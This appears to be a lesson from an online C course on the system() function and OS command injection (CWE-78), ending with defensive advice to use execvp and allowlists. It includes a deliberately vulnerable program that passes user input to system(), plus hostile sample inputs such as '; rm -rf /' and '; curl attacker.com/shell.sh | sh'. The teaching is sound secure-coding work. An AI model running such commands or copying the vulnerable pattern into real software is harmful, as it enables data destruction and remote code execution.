A structured lesson workspace with readable content, hands-on examples, and a clean path to completion.
system passes a string to /bin/sh (or cmd.exe on Windows) for execution. It is the fastest way to run an external command from C. It is also the fastest way to introduce a command injection vulnerability. If any part of that string comes from user input, an attacker can append semicolons, pipes, or backticks and execute arbitrary commands. This is not theoretical. It is one of the oldest and most common vulnerability classes in C and C++ software.
#include <stdio.h>#include <stdlib.h>int main(void) {int result = system("ls -la *.txt");if (result == -1) {perror("system");return 1;}printf("\nExit status: %d\n", result);return 0;}
#include <stdio.h>#include <stdlib.h>int main(void) {char filename[128];printf("Enter filename to display: ");fgets(filename, sizeof(filename), stdin);filename[strcspn(filename, "\n")] = '\0';char command[256];snprintf(command, sizeof(command), "cat %s", filename);printf("Running: %s\n", command);system(command);return 0;}
The user typed notes.txt; echo INJECTED. The semicolon terminates the cat command and starts a new one. The shell executes both. Now imagine instead of echo INJECTED, the input was ; rm -rf / or ; curl attacker.com/shell.sh | sh. The program runs whatever the attacker wants with the privileges of the process. This is CWE-78: OS Command Injection.
Never pass unsanitized user input to system(). Use exec-family functions (execvp, execve) which do not invoke a shell and therefore do not interpret metacharacters. If you must use system(), validate input against a strict allowlist of characters. Better yet, use the library API instead of shelling out.
system is convenient for quick scripts and prototyping. In production code that handles external input, it is a liability. Use execvp for running external programs safely. Use library functions instead of shelling out whenever possible. Next: mkdir on POSIX, for creating directories from C.
Finish the lesson once you have worked through the material. This awards ★ 30 XP.